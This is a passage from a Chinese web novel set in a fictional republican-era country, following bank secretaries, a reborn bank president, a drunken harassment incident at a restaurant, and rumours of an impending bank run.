她在美国受到了西方礼仪的严格训练,倒红酒对她来说如信手拈来,所以举止优雅大方,沈嘉兴很认真的看着她的每一个动作,心想恐怕花国外交部的女外交官们都没有她优雅得体。
当然,过去很少有女子留洋学习外交知识,花国外交部的女外交官本来就没几个。
萧素素看着她的每一个动作,像读书时背课文一样背住,以备来日派上用场。
沈靳言又请沈嘉兴点菜,但是沈靳言这样的社会地位,沈嘉兴岂敢造次,也就只点了一个“浓汤鱼翅”以致意。
沈靳言又点了“红烧牛尾”、“芫爆散丹”、“三鲜瓜球”、“沙锅羊头”、“脆皮山珍卷”以及清真风味的“挂炉烤鸭”。
萧素素听着这些自己从来没有听过的菜名,她觉得自己就像红楼戏里的刘姥姥进大观园。不免为自己的前途感到忧虑,她和严鹤身份相差悬殊,严鹤和她深入接触以后会不会觉得她上不了台面?那她的血海深仇怎么办?
看到萧素素呆呆的坐在那里,施卓然在座位下面悄悄的捶了她的手低声说道,“你说了要帮我撮合我和你表哥的,你现在是个什么情况?该不会想把表哥留给你自己吧?我可告诉你,文明社会的青年可不兴近亲结婚。”
萧素素觉得她有些可爱,笑笑,低声回她:“第一,我没有想把表哥留给自己,第二,我巴不得表哥早点找到表嫂,第三点才是我和表哥不是亲表兄妹,当然就不是近亲了!”
施卓然催她:“那你赶快啊,今天可是千载难逢的机会!”
萧素素道:“你看看上位,行长在和他说话呢,静观其变吧。”
施卓然看到上位上沈靳言和沈嘉兴聊得火热,简直一见如故,两个人坐在一起,畅谈心声,和谐得像一幅画一样。
一幅画?在美国读书的时候,看了许多同性恋小说,她想象中小说里的男同双方就像他们一样帅气,相处也是这么融洽。她低声对萧素素道:“你见过行长对谁这么热情过吗?你说行长会不会......”是同性恋?同性恋三个字她没有说出来。
她低低的撕了一声,这个想法太疯狂了,她刚刚突然间有了这个想法,简直把自己都吓到了,不会吧?
萧素素问她:“行长会不会怎样?”
“断袖之癖你听说过吗?”施卓然还是忍不住说出来。
“不可能吧!”施秘书这么说有什么根据?
施卓然越想越肯定了:“怎么不可能!你看他对沈医官多好,我们以前在秘书室说什么做什么他都两耳不闻窗外事,从来没有出来过,沈医官一来,他就主动从行长办公室出来了,肯定是通过办公室的窗户看到沈医官来了。为了结交他,行长还把沈医官叫到办公室去私聊,也不知道他们私聊了些什么?沈医官从行长办公室出来的时候脸都差点要笑烂了......你再看看这个红酒,你知道它多难得吗?总统和国务总理来了我们行长恐怕都不一定拿出来招待。”
她肯定不想行长有断袖之癖,他那么优秀......但是行长好像对沈医官特别好,从来没有见对谁这么好过。
萧素素看向沈靳言那边:沈靳言正笑吟吟地靠在沈嘉兴的椅子上,手搭在沈嘉兴椅子后的扶手上,倾身过去,低笑道,“你在德国读书的时候还有这一面……这事实在太有趣了。”
萧素素从来没有看到沈靳言这么笑过,他总是很严肃,一板一眼,他的世界好像只有发送命令和检查工作完成情况。哪怕与沈家的人也保持了一定距离,疏远得很。看他与沈嘉兴交谈,不仅发自肺腑的笑了,那姿势还格外的蛊惑人,气氛也很暧.昧,萧素素打了个寒战:行长不会真的喜欢男人吧?要不然他们家其他男人身边的女人都那么多,就他身边没有女人?
看到她们两个交头接耳,坐在萧素素身边的井弘深不得不偷听,只听到了萧素素说:“.........行长至今没有结婚难道是因为他喜欢男人吗?”虽然说她希望能找到借口推掉和沈嘉兴的婚姻,但她也不希望是有男人喜欢他沈嘉兴这样的借口。
井弘深坐在萧素素旁边,觉得他手下这两个兵一直都在交头接耳,行迹甚是可疑,就凑过去偷听,刚好听到萧素素说行长喜欢男人?
行长怎么可能喜欢男人呢?这是不可能的事情!
关键是他觉得行长是喜欢萧秘书的,只是行长还不清楚自己的心意!他是不可能喜欢男人的,他可要提醒提醒行长!不能让萧秘书误会了,以后行长发现了自己的心意追萧秘书可
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就困难了!
他清了清嗓子,向沈靳言使了个眼色。
沈靳言看到井秘书鬼迷日眼的向他眨眼睛,他不知道井弘深什么意思,便问他:“井秘书,你眼睛不舒服吗?”
井弘深忙摆摆手道:“没有没有,风吹迷了眼,谢行长关心!你们继续!你们继续!”
沈行长平时并不常说话,今日向冲破了魔界一样,又和沈医官聊了一些兴趣爱好,特别谈得来,双方都口若悬河,已经到了忘我的境地。
沈嘉兴对沈靳言道:“若不是在《兵事杂志》上看到过行长的文章,任凭我是谁也不会想到行长这样的商业奇才还是军事奇才?”
沈靳言抿了一口酒,道:“奇才就过誉了,从商只是家里安排的谋生之道而已,至于从军当然也是家里的安排......”他是金融界响当当的人物,又有百货公司,又有煤业公司,沈家的其他产业也有他的份,这种程度的富人也可用“谋生”二字?
萧素素来不及愤慨,又听沈靳言道“……我才十几岁家里就把我送到英国的军官学校留学,后来回国后又让我去花国陆军军官学校受训。”
萧素素和施卓然具是一惊,她们都不知道沈靳言的这段经历。
施卓然是厉副官的外甥女,知道一些陆军的事,她暗自推测:花国陆军军官学校主要培养团以上的指挥军官和师以上的司令部参谋军官,重点培养参训学员的联合作战能力、运用军事政策的能力和战略能力。想必沈靳言在陆军中也担任了职务,不然舅舅怎么可能帮她找沈靳言能谋到差事。
又听沈嘉兴问道:“我表姑父萧岐山是陆军少将,你和他能成为至交好友是否是因为你在陆军中担任了要职?”
“陆军测量局局长。”在军中担任了职务,又经商,一般是要保密的,在坐的除了是沈靳言的秘书以外,就是沈嘉兴了,也没有什么不可以说的。
萧素素和施卓然听得一愣一愣的,难怪行长神出鬼没,很多时候井秘书在办公室,却不见行长,他们还以为行长休沐!然而,人家是去主持陆军测量局的工作去了!
大家都盯着沈靳言看,他有些不自在,今天他组局的关键可不是听他演讲的,他是为了沈医官才组的局。
他道:“光听我说这些了,大家都还没怎么喝酒呢。施秘书,来,快给沈医官添点酒。”
酒过一轮以后,话就聊得更开了。
沈嘉兴道:“我听说沈家大公子妻妾成群,沈家其他的公子也都花名在外,为何行长至今却未婚?”
沈靳言道:“我还没有这个打算呢。”上一世他这时候已经结婚了,是父母包办的婚姻,妻子谭小曼是华北督军之女,整天只知道打牌摆阔,后来更是染上了烟瘾,年纪轻轻百病缠身,没过几年就病死了。
听到他这样说,萧、施二人更是怀疑他是同性恋。
14. 旧时(十三)
酒过三巡,各人都有些醉意了,唯施卓然醉意最深,她一直都是外向开朗的性格,借着酒意,她便开始对沈嘉兴表白:“沈医官,你真是太帅了,恐怕你就是古人说的玉树临风,貌比潘安、颜如宋玉、才比什么来着,对!才比石崇......”
沈靳言嘴角抽了抽,心道:原本以为她比萧素素心眼多,结果又是个缺心眼的傻丫头,厉涛知道了要被她这个外甥女气死!看来以后招秘书真不能招这种私人关系介绍来的,一个一个的都是缺心眼!就她这样的,沈嘉兴会对她有好印象吗?
他偷眼看过去,发现沈嘉兴脸上的红晕都蔓延到脖子上了。
又听施卓然还没有完:“沈医官......我就喜欢你这样的,高高大大的个子......皮肤白白嫩嫩的......斯斯文文的………你可不可以......可不可以和我......
沈靳言打断道:“萧秘书,赶快带施秘书去洗手间洗洗,她喝多了......”他发现萧素素清醒的很,只有让她带施卓然去洗手间醒醒酒了,要不然施卓然这个缺心眼的傻姑娘不知道要说出个什么来,大胆表白是好事,说不定沈嘉兴喜欢大胆示爱的女孩子,但他相信见面第一天大胆表白绝对会让人沈嘉兴觉得轻浮。
看来他这个行长还要照顾一下这几个秘书!
萧素素听命扶着施卓然去洗手间。
包房外面的走廊里灯光暗淡,但声音却很嘈杂,施卓然又不受控制,柔弱无骨的趴在萧素素身上,倒不是施卓然重,就是说她东窜西窜,弄得萧素素艰难前行,看不清来路。
还没有走几步就被两个醉汉拦住,她艰难抬头,那一个黑红肤色的中年男人瞪着赤红的大眼,指了指她的脸道:“哟,鸿宾楼也做这种生意了?”他身上冲天的酒气昭示着他已神智不清。
另外一个穿深蓝色西装的男人也是酒气熏人,就要靠过来:“鸿宾楼不做这种生意,说不定是外面进来的呢。”
萧素素脸色微变,这世道不好,他们肯定以为她和施卓然是陪酒女。
便道:“两位先生别挡路,快些让开!不然我就报警了!”
“报警?”黑红肤色的中年男人咧嘴一笑,“报警?报警找爷报啊!爷是京师警察局副局长!要报警找爷报正好!”说着就要来摸萧素素的脸……
萧素素用仅剩的一只手挡了一下,马上道:“我们不是您想的那种人,我们是这里的顾客!”
“顾客?”另一穿深蓝色西装的男子道:“少跟我们装,来鸿宾楼的顾客都是些达官显贵,是来谈事情的!你们这样的,谈什么事情?不就是给钱就能上床谈的事情吗?”
萧素素道:“你们敢乱来,我爸爸绝不会放过你的!”
那个局长臭气熏天的靠过来,扶住萧素素的腰:“别吓唬爷,你把本局长伺候好了,本局长就是你爸爸!不用编个假爸爸来吓唬爷!”
另一人已经把施卓然扶到怀里,上下其手,施卓然被袭了一下胸,马上给了那人一巴掌!酒也醒了,懵懵懂懂的不知道发生了何事!
“给我住手!”一男子的声音在走廊那头响起,萧素素觉得这声音耳熟,循声望去,走廊那头站着的竟是严鹤。
走廊里昏暗,饭店的灯,只落了半缕在他侧颜。他肤白如雪,发黑如墨,薄唇不点而红,黑白中孕育出一股独特的气质,端肃又冷漠。
自称副局长的那人被扰了兴致,脱口就骂:“妈了个巴子的,是哪个混账王八蛋敢扰了老子的心情!”
严鹤脚步声快而不乱,回荡在此时昏暗的走廊上。
那另一个醉汉捂着脸侧过身去看见了严鹤的脸,又见他穿着普通的中山装,嗤笑道:“哪里来的小白脸,也敢来管我们许局长的闲事!”
严鹤阴沉着脸,几步就走近了:“许局长?哪个许局长?骂谁混帐王八蛋呢?骂谁妈了个巴子呢?”
那个自称局长的人昂着个头,不说话,另一个人道:“说出来老子怕吓死你!”
严鹤冷笑道:“不用怕,尽管说出来吓死我!”
那穿西装的人道:“给我听好了!这位是京师警察局许副局长许关山。”
严鹤如数家珍:“许关山许副局长是吧?我知道,许副局长年轻的时候一直在社会局工作,后来以39岁高龄入了提尔皮茨社,得时任京师警察局副局长的沈靳亭引荐进入京师警察局当保安处处长,后升迁至京师警察局副局长。”
那人趁着酒劲连连拍手:“年轻人调查许局长的资料调查的蛮仔细的!有前途有思想!”说着拍拍严鹤淬玉般的脸,道:“现在退开,许副局长还有可能放你一马!”
严鹤道:“大可不必!千万不要放我一马!”
又对许关山道:“许关山,你只是一个区区京师警察局副局长,就是你的顶头上司京师警察局局长易俊驰也还要忌惮我三分!你偏偏还有一个可怜的副字!怎么,你喝酒闹事。我是给你的顶头上司易俊驰打电话呢?还是给提尔皮茨社社长通讯局局长沈靳亭打电话?”
许副局长见这人对自己冷嘲热讽,眼神直直的盯着他看,分毫不回避,心想真是初生牛犊不怕虎,怒问道:“你是哪个王八羔子?敢用这个语气跟老子说话?”
萧素素和施卓然靠在墙上,好不容易踹了口气,知道这些人整天都是比谁的靠山更大,比谁的后台更硬,才不管是非对错!
便道:“这位是国务总理严学熙的公子。”
许副局长想都不想便冷哼了一声:“你这个女人少来吓唬老子呢?国务总理严学熙之子?你一个陪酒女能认识什么国务总理?这小子分明就是一小白......”
“啪!”严鹤忍无可忍,顺手就给了许副局长一巴掌。
许副局长被打偏了头,怒骂
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道:“混帐王八蛋!妈了个巴子……
醉酒的另一男子看出严鹤有底气敢打许副局长,那他的身份八九不离十就是总理之子了。马上捂住许关山的嘴,咧嘴谄媚一笑,打圆场道:“严公子,许副局长喝多了,烈酒糊了脑子,张嘴乱说的,你看看,亲兄热弟的,你不要跟他计较。”
“亲兄热弟?我父亲就我一个儿子,我竟不知何时我有兄长!何时我又有弟弟了!”他越想越生气,这些人把素素当陪酒女上下其手也就算了,还骂他混帐王八羔子?还骂他妈了个巴子?
那人更加谄媚:“严公子海涵!严公子海涵!”点头哈腰的一副奴才模样!
这时候许副局长的酒也醒了,马上扇了一巴掌自己的脸!
道:“严公子海涵,这都是酒这个王八蛋惹的祸!……是个荒唐的误会!”
严鹤冷笑道:“误会?许副局长,你也是父母生的吧?开口妈了个巴子,闭口王八羔子!别人的父母就不是人?别人的父母就是王八?”
许副局长脸红了又白白了又红,正不知怎么圆王八羔子这个天大的误会!就听有人沉着声音道:“萧秘书,看什么热闹,没你什么事还不走!”
许副局长看过去,那人站在天字第一号包房“盛世桃源”门口,个头很高,脖子挺拔,宽额高鼻薄唇,瞳孔幽黑,眸光深不可测,不是那位的次子吗?
许副局长瑟缩了一下,马上从鼓鼓囊囊的西装下边大口袋里掏出了一盒古巴雪茄,打开外壳盖子,是古巴雪茄一支装的极品,马上双手奉到沈靳言面前,他早就听说了沈靳言爱抽雪茄,还好今天带了一支,要不然就没有机会孝敬给这位了。
沈靳言将许副局长的双手推了出来,道:“喝酒不抽烟,抽烟不喝酒,今日沈某已经喝过酒了!”
许副局长见沈靳言虽拒绝了他的雪茄,但言语已经很给他面子了。毕竟他可是听说这个沈二公子可是敢拿枪指着沈大公子的,他虽说是沈大公子的爪牙,但以后沈家谁说了算还不一定呢!
沈靳言见萧素素和施卓然还站在那边,厉声道:“还不过来,站在那里干什么!”
又对许副局长道:“看来许副局长和那位还有事,我就带着我的两个秘书先走了!”
他当然知道他口中的那位就是国务总理严学熙的独子,哪怕那位化成灰他也认识,但谁让严鹤上辈子后来当了汉奸呢,所以他不想认识他,甚至这辈子想杀了他以绝后患,只是还没到时候!只能装作不认识了!
萧素素想说严鹤是为了她和施卓然才在这里的,她们不能丢严鹤一个人在这里,但看到沈靳言这么凶,又不太敢说:“行长?......”
施卓然用胳膊拐了一下她,示意她什么都不要说,赶快回包房。
严鹤听到了“行长”二字,越过众人走上前去,边走边伸出右手:“是花国通商银行的沈行长吗?”
15. 旧时(十四)
沈靳言看到萧素素欲言又止的对他说:“行长......”
他心里怒骂了一句:缺心眼的死丫头,萧岐山怎么认了这么个蠢货当女儿!
就见严鹤边向他走来边伸出了右手,问他是不是沈行长。
这不明知故问吗,萧素素已然喊了他行长了。
想当初,严鹤三顾茅庐来游说他,已然亮出了自己是总理之子的身份,他却避而不见,明摆着不给国务总理面子!他还这样巴巴的来和自己攀谈,真是能屈能伸!一点血性都没有,难怪当“汉奸”!
萧素素知道严鹤为定国银行的事情特别辛苦,而且在萧素素看来,定国银行是为了解决民族工贸企业的贷款问题,是特别有意义的事情,便出言相帮:“行长,这位是总理之子,他想拜访你很久了。”
只在一刹那,沈靳言就做出一个决定,他快速的握住严鹤的手,道:“严公子幸会幸会!”
又对施卓然道:“今晚好好把握机会,把包房里的客人招待好,我不放心那位客人,他喝了些酒,你和井秘书最好把他送回家去。”
萧素素肯定是看上严鹤的身份了,总理之子,女孩子多半是不能抗拒的!反正她不和沈嘉兴好也是好事,沈嘉兴一个爱国青年,别被萧素素给影响了。
见他这样安排了,施卓然作为秘书,难免要问老板的行踪:“行长,你怎么办?”
“我还有些事情,这里有萧秘书陪着我。你快去,可别怠慢了里面那位。
施卓然知道行长是给她与沈医官制造机会相处,心里很感激沈靳言。
那两个醉酒想调戏萧素素和施卓然的人,见这两个女人是沈靳言的秘书,早想偷偷溜走了,这会儿已经走出去有断距离,就听沈靳言道:“许副局长?还有那个谁?”
两人赶快转身,不得不又往这边走,被唤作“那个谁”的缩着脖子自我介绍:“鄙人是花国警察学校教务处主任凌霄。”
凌霄?呵!今天尽遇到汉奸!
沈靳言本来想像严鹤那样好好骂骂他们的,算了,凌霄既然让他给遇见了,那么他的死期就到了,就让许副局长沾沾他的光,骂就面临。
他摸摸自己的中山装口袋,那里瘪瘪的,忘了带雪茄了。许副局长会意,马上拿出先前那根雪茄,给他点上。
沈靳言把他们叫回来,肯定是刚刚那件事还没有翻篇儿,他却不慌不忙的点起雪茄来,凌霄感觉像自己头上悬着一把刀一样,那感觉是在不知道刀何时落下的时候最害怕,他在等待审判。
雪茄烟头的红星一明一暗,沈靳言的呼吸一起一伏,口中的烟气吞吞吐吐,笼罩住他凛冽的轮廓,一片烟青色后,他薄唇轻启:“没有道歉就走了?”
两人忙称不敢,对萧素素和施卓然做出了此生最真诚的致歉!
萧素素和施卓然都不想说没关系,哪有做错事道歉就完了的!场面一度很尴尬。
沈靳言道:“要不然怎么办?难道让你们去轻薄回来?”
萧素素和施卓然都默然。
沈靳言看向严鹤,道:“严公子有不同看法?”
现在的严鹤在沈靳言面前岂敢有不同看法!沈靳言可能会成为定国银行最大股东!
但严鹤心里已然恨毒了沈靳言,他严鹤堂堂总理之子,沈靳言说不见就不见,把他父亲的脸面置于何处?今日许关山和凌霄对他只是表面屈服而已,但对沈靳言却是真心又敬又怕的!他沈靳言凭什么?还不是凭他是那个人的庶子!
区区庶子,这么拽!这么傲!岂有此理!
他严鹤只是卧薪尝胆能屈能伸,只要能拿下融资就可以了。
他于是道:“沈行长都这么说了,当然就这么办了!”
于是沈靳言就愉快的决定此事翻篇儿了并且给予了此二人真诚的关怀:“你们今晚不要喝酒了,回家好好陪陪老婆孩子,免得又醉酒惹出什么事端来。”
于是许副局长看到凌霄这晚死在瑶姐床上的花边新闻时还在感慨凌霄咋就不回家多陪陪老婆孩子呢!英年早逝了吧?真是可惜了!
这边施卓然回了天字第一号包厢“盛世桃源”,那边沈靳言则和萧素素严鹤另开了一间包房。
严鹤一心推介定国银行融资项目,道:“...与花国通商银行不同,定国银行施行银本位制,现已得到参议院和众议院多数议员的同意,并且拿到了钞票发行权......”
沈靳言显然心不在焉,笑眯眯的抬手阻止他:“你不用说了,沈某恐怕要令你失望了。当初我和父兄商定,由我兄长投资两百万银元给定国银行,我和父亲是一概不管!而且这是我父亲精心布置的韬略,我不能坏了我父亲精心布置的韬略!这可是关系未来国计民生的大事!”
严鹤抿着嘴唇,这个沈靳言真的傲慢至极,别人即使不投资定国银行也要诚恳的解释很久,就他,人家话还没有说完,他就抬手阻止了,还说什么韬略,就他们沈家有了不起的韬略?我们严家就没有韬略了吗?而且他父亲把持参议院和众议院还不够,现在全国经济委员会的那些老东西也只听他父亲的!简直是窃国大盗了!
严鹤内心极度挣扎,才勉强维持了面上的平静,他知道沈靳言说一不二,一旦决定了的事情便不会再改变,只得招呼他喝茶,勉强笑道:“沈叔叔既然有沈叔叔的韬略,我作为晚辈自然不敢置喙,沈靳亭局长已然投资了200万银元,我其实已经相当感激了!他日还要登门拜访沈叔叔。”
沈家和严家并无往来,他称沈松龄为叔叔也只是套近乎而已。
既然没有谈拢,沈靳言就起身准备走:“今天先这样吧,萧秘书,我送你回家!”
严鹤却说:“我很久没有见到素素了,我们还要在外面玩一会儿呢!”
沈靳言从怀里掏出怀表递给严鹤看:“现在已经晚上九点多了,她必须回家了!”
严鹤道:“那我送她回家吧。”
沈靳言语气很坚定:“我正好有
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事去找她父亲,顺路送她回家。”
严鹤就不好再说什么了。
来开那辆别克车的是沈靳言别院里的司机,也是认识萧素素的,看到她给她行了礼。
便问沈靳言:“二公子,回别院吗?”
沈靳言道:“先送她回萧公馆,再去老宅。”
萧素素坐在副驾驶室,忍不住侧过头去问后排的沈靳言:“行长为什么不投资定国银行?”
换做是别人问这个问题,沈靳言要么就用沉默作为回答,要么就会说自己有别的投资计划,但萧素素是萧岐山的女儿,他免不得要耐心解释:“定国银行的初衷是办成实业银行,现在的情况是定国银行已经获得了招商局和电报局分别投资的40万银元和30万银元,全国经济委员会秘书长吴国升的家族企业投资了20万银元,内务总长投资了30万,在加上起初我大哥投资的200万,那你说现在它还是实业银行吗?”
他有些累,便叹了一口气,接着道:“不是了,现在妥妥的官商合办银行!”
他看着车窗外或明或暗的建筑物,继续道:“严鹤的父亲严学熙最近频繁接触花国银行总裁袁本初,你是学经济学的,你猜猜看,咱们这个总理想干嘛?”
“让花国银行担任公股的投资角色。”萧素素略想想就知道了,又问沈靳言:“花国银行会出多少钱?”
沈靳言闭上眼睛假装休息,他不会告诉萧素素上一世花国银行拨付了2000万银元,也不会告诉她后来花国银行的钱都被严鹤父子献给日本人了。
司机突然一个急刹车,把三人都吓了一跳,司机忙解释说,前面突然跑出来个小孩,差点撞到了。
生怕被辞退了。
沈靳言觉得不妨事,道:“没撞到人就好,下次小心点!”
他看着萧素素花容失色的脸,道:“人生很短暂,稍纵即逝,不要因迷年一些不值得的东西而错过美好的东西。”
沈靳言很少说教,萧素素更是没有被他说教过,他突然来了这么一句话,萧素素感到莫名其妙,正不知该如何回答是好,又听沈靳言道:“严鹤那样的家世背景,身边女人肯定不少。你想嫁给他做正室夫人吗?那严学熙肯定不会同意!严鹤的一切都是依附于他父亲,必定婚姻方面都要受制于他父亲,甚至是要对他父亲言听计从。那么做不成正室,你想嫁给他做姨太太吗?你父亲肯定也是不会同意的!这些问题你考虑过没有?反正这都是你应该考虑的问题。到时候你不要告诉你父亲他没有养过你,所以没有权利管这些事情,做人岂能即要又要呢!”
萧素素狡辩:“我跟他没什么的。”
沈靳言道:“要是有什么就晚了!这个世界对男子宽容对女子苛刻,有什么严鹤都可以全身而退,但是你的名声全完了!”
萧素素还是很不服气,这些事情关他沈靳言什么事,真是多管闲事!
直到下车她都闷闷的不说话,下了车也没有跟沈靳言道别。
16. 挤兑(一)
沈靳言看着萧素素下车,连他自己也不知道心里是什么滋味,好心提醒别人,别人却未必领情,自己会不会太多管闲事了?
但是既然管了,万没有半途而废的,他对司机道:“花国警察学校教务处主任凌霄,把他清理掉。”
司机道:“知道了。”
萧素素回到萧公馆的时候,陈瑶正坐在她卧室的沙发上等她。
见她进来,就道:“你大爸着凉了,已经睡下了。我听你表舅母说嘉兴去你们银行找你了,我看你对结婚这事一点都不热衷,也不知道你和嘉兴谈得怎么样了,我就在这里等着你回来。”
陈瑶坐在落地灯旁边喃喃地说着,侧影投在玻璃窗上,虽然年过半百,从萧素素这个角度看过去依然十分的温婉动人,只是萧素素看到她鬓角已经有一缕白发了。她平时十分注意保养,为了保持身材,想吃荤菜了,也只吮骨头不吃肉,减肥的效果的确十分的明显,她手腕上那个镯子,空落落的挂在那里,显得她的手细瘦无比。
萧素素放下包,坐到陈瑶身侧,道:“妈,我和表哥的事还不一定呢。”
她到这个家已经一年多了,妈这个称呼已然能脱口而出。
她拿起陈瑶的手握于自己的手中,道:“表哥今天的确去银行了,我们行长和他一见如故,还说要给表哥当观察员的学校捐一台X光诊断仪,表哥可高兴了!”
陈瑶道:“虽然我不知道x光诊断仪是什么东西,但需要沈行长来捐赠的东西一定是很贵的,沈行长一向是个慷慨大方的人。”
萧素素憋憋嘴道:“他是个慷慨人没错,他不仅捐款捐物,他还要把我们办公室的女同事也介绍给表哥呢,就是那个厉副官的外甥女叫施卓然的。”
陈瑶道:“那可不行,你表哥可是外交部的医官,前途大着呢,不能让别人捷足先登了。”
萧素素垂下眼,掩饰住自己的心虚,道:“捷足先登就捷足先登,我觉得表哥和施秘书交往也没什么不好的,毕竟我配不上表哥!”
陈瑶道:“傻孩子,你怎么会配不上你表哥呢,我们家条件可不差,你和薇薇虽然不是妈生的,但我们即认了你,便会如亲生的一样待你,嫁妆这些你都不要担心,再说了,表舅家愿意和我们说亲,那肯定是心里认可你了。”
萧素素又道:“万一表哥不喜欢我这样的女孩子喜欢施秘书那样的呢?”
陈瑶想了想,慎重的放下萧素素的手,摸着她的披肩长发,道:“孩子......你是不是不喜欢妈给你安排结婚上的事?”
萧素素想起在车上时沈靳言说的话,的确,萧岐山和陈瑶对她恩重如山,她不能一面接受他们对自己的好,一面又不让他们过问自己的事,便道:“妈,我没有不喜欢。我是说表哥如果喜欢施秘书,也没有什么不好,施秘书也是留过学的,和表哥肯定有共同语言,而且施秘书长得也漂亮......”
陈瑶深吸了口气,道:“爸爸妈妈都是为了你好,生怕你在这些事情上吃亏上当。你要知道,在婚姻问题上,女孩子几乎没有任何机会出错,俗话说:男怕进错行、女怕嫁错郎。结婚可真是一辈子的大事,马虎不得。”
萧素素只笑着说:“我晓得,妈妈不要担心。”
第二日去上班,沈靳言居然没有来,萧素素便向井弘深打听:“行长家里有事?”
井弘深一向嘴紧,但对萧素素却不同,便悄悄告诉她:“行长的父亲病了,这几天行长可能都不会过来。”
萧素素想着什么病这么严重,沈靳言这几天都不过来?又低声问:“行长的父亲身体健康,怎么会这样?”
“说是行长和大公子打架,行长的父亲气大伤身.........”
“......”萧素素揉揉眼睛,这简直无法理解,两个几十岁的人打什么架呢?沈靳言昨晚就是为打架才回的老宅?
井弘深悄悄凑过来,道:“这世道要乱了。”
“怎么个说法?”
“两位公子就是为这事打的架.........总之,你手里千万不要留花国银元兑换券,全部换成金、银首饰。”
萧素素问:“金融危机要来了吗?”
井弘深摇摇头,道:“现在的情形和五年前发生挤兑风波前的情形一模一样。”
萧素素求知若渴,五年前她只知道父亲提着一袋子钞票也买不回来一袋面粉,他们家是普通老百姓中的底层,不知道内部消息,后来靠萧岐山和陈瑶夫妇接济才度过难关。
她问井弘深:“五年前我刚中学毕业,不懂这些,您可不可以给我讲讲怎么回事?”
井弘深一向坚信沈靳言对萧素素不一般,沈靳言他讨好不到,但讨好了萧素素,来日她说不定能记着自己的好呢,因此给她就讲得很仔细,生怕她才入社会不听不懂。
“原先我们国家最大的官方银行花国银行和百姓银行根据自身代理国库的职权发行花国银元兑换券,但花国国势孱弱,东西南北中各方势力年年打架,因此金融市场非常乱。不仅如此,东西南北中各方也都发了私票,因此稍微懂点现代银行知识的民众对这些花国银行的信用信心就会不足。
汇丰国际银行、渣打商业银行、俄国道胜银行、德意志银行、横滨银行这些外资银行因为这些年来对花国银行体系主权的剥夺,也具有在花国发行货币的权利。加之这些银行的母国社会安定,经济繁荣,他们的信用就非常高,因此大量有钱的花国民众将资金都存到了外资银行。
到了五年前,东西南北中各方势力打架越来越激烈,开始是英国人、日本人和美国人造谣说他们三国将照会花国当局,取消花国银元兑换券。
当然,这只是造谣!
目的就是让花国发生挤兑风波,他们好从中攫取花国大量财富。
但是,咱们花国民众一向穷怕了,偏
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偏相信了这些谣言!全国各大城市拥有花国银元兑换券的人连夜排队要求将花国银元兑换券兑换为银元。
在挤兑风波席卷花国各大城市后,各地方分行现银储备严重不足。
为解决京师现银不足的问题,财政部长皇甫元思下令花国银行和百姓银行各城市分行将库存现银运到京师。此为“舍地方保京师”!各地方分行偏偏以“没有听清楚金融令”或者“路途太远怕被抢”为由并不执行!
花国因此面临灭顶之灾!”
萧素素道:“不是应该下达护盘令吗?”
井弘深给她竖了个大拇指表示赞扬:“护盘令是肯定下了,比如“参议院会同财政部下达金融令:奸人蓄意破坏国家金融秩序,各地有挤兑可利用军警处置。”
萧素素红了眼眶,问:“这太粗暴了!就不能想点其他办法吗?”
井弘深叹了一口气,道:“也想了其他办法,但是都没有任何作用,比如禁止官吏公务人员等将所存花国、百姓两行公款提存至外国银行。”
施卓然发现井弘深和萧素素一上午都在窃窃私语,跑过来问:“你们是不是在说外面那个谣言?我听说五年前也有这种谣言,而且五年前那次挤兑风波后,国库里的现银只剩80万两了,又被横滨银行用武力强行取走了45万两!山穷水尽后,只有放大招了!……当局只得强令:财政、交通两部转饰花国银行和百姓银行,要求他们至奉令之日起,所有这两个银行已发行的兑换券及应付款项,暂时一律不准兑现和付现,并责成两行一律封存现银。”
她瑟缩了一下后感叹:“真是造孽啊!最造孽的就是咱们老百姓!”
井弘深指了指施卓然:“你看,她都知道了,说明很多人都知道了,你还不赶快行动,到时候等民众大量开始挤兑,黄花菜都凉了!”
萧素素道:“那我赶快给家里打个电话!”
她的钱财不多,都是在花国通商银行上班后的薪水,她主要是要提醒萧岐山和陈瑶注意自己的钱财。
井弘深“啧”了一下,道:“打什么电话啊!接线员或者别人谁偷听了去都会将谣言更近一步扩大化,这不成了帮外人了吗?反正接下来天天都要加班,索性今天放你们的假,你们回去处理一下该处理的事情吧。”
施卓然道:“说不定我们花国民众有了上次的经验,就不信谣不传谣了呢!”
萧素素边收拾自己的包包边道:“要是那样就好了。即使是那样,我们去把兑换券换成金银也没有受任何损失,金银可是硬通货。”
她深深的叹了一口气,继续道:“说起来不是我不相信我们的同胞,而是恐慌的氛围一旦出现,人们都会疑神疑鬼,关键这个阴谋诡计的恶毒之处在于制造谣言的人不需要所有人都相信这些谣言,而是只要有人信,恐慌就会蔓延。”
施卓然也边摇头边收拾东西:“这么阴损的招数究竟是谁想出来的?”
17. 挤兑(二)
沈家老宅欧繁汐的院子临仙榭的花厅里,除了已去世的沈靳平和在欧洲游学的沈静恬,沈松龄的其他儿女都到齐了。
下午五点就开始吃晚餐,无其他原因,老宅一直是这个习惯。
除了欧繁汐和沈静雅之外,饭桌上无其他女子。
餐桌上因此刚好八个人。
左侧坐着沈靳亭、沈靳晖、沈靳平兄弟。
右侧坐着沈靳言、沈靳堂、沈静雅兄妹。
上席无疑就是沈松龄和欧繁汐。
沈静雅叽叽喳喳的说教会学校的事,“食不言寝不语”,他的哥哥们从小都不在饭桌上说话,但欧繁汐显然是纵容她的。沈松龄将面前那碗小米粥一小勺一小勺地喝了,几乎就没动筷子,他看上去精神状态没有很糟糕。
当他放下筷子的时候,他的儿子们全都放下筷子,沈静雅看了一眼母亲欧繁汐,母亲还在慢条斯理的吃着面前那盘菜,因此她便没有放下筷子。
沈靳言道:“八妹这几天不要去学校了。”
“凭什么!”沈静雅的眼睛闪着,眼眶里马上包了一包泪,嘴唇嘟着,极力隐忍着不让泪夺眶而出,好像受了天大的委屈似的。
沈靳亭摸了摸自己受伤的左脸,嘶了一声,这是昨天和沈靳言打架留下的,疼的厉害,他还是勉强笑道:“我昨天就说了,我才是这个家的嫡长子!”
宣誓完自己不可侵犯的话语权,他才勉强笑了一下,这回笑得格外疲乏:“八妹乖,咱暂时不去学校哈。”
“太没劲了!大哥也跟二哥一样!”沈静雅跺了一下脚只得站起来,“这个家里的人没有一个是心疼我的,都不好玩。”
沈松龄站起来。
所有的眼都望向了他。
“老六、老七、老八暂时都不要去学校了。”他缓缓道。
老六沈靳堂读燕京大学,老七沈靳北和老八沈静雅都还在教会学校读小学。
所有的眼睛都没有反馈,只有沈静雅又望向还在吃菜的欧繁汐。
欧繁汐觉得她这个女儿也太不懂事了。
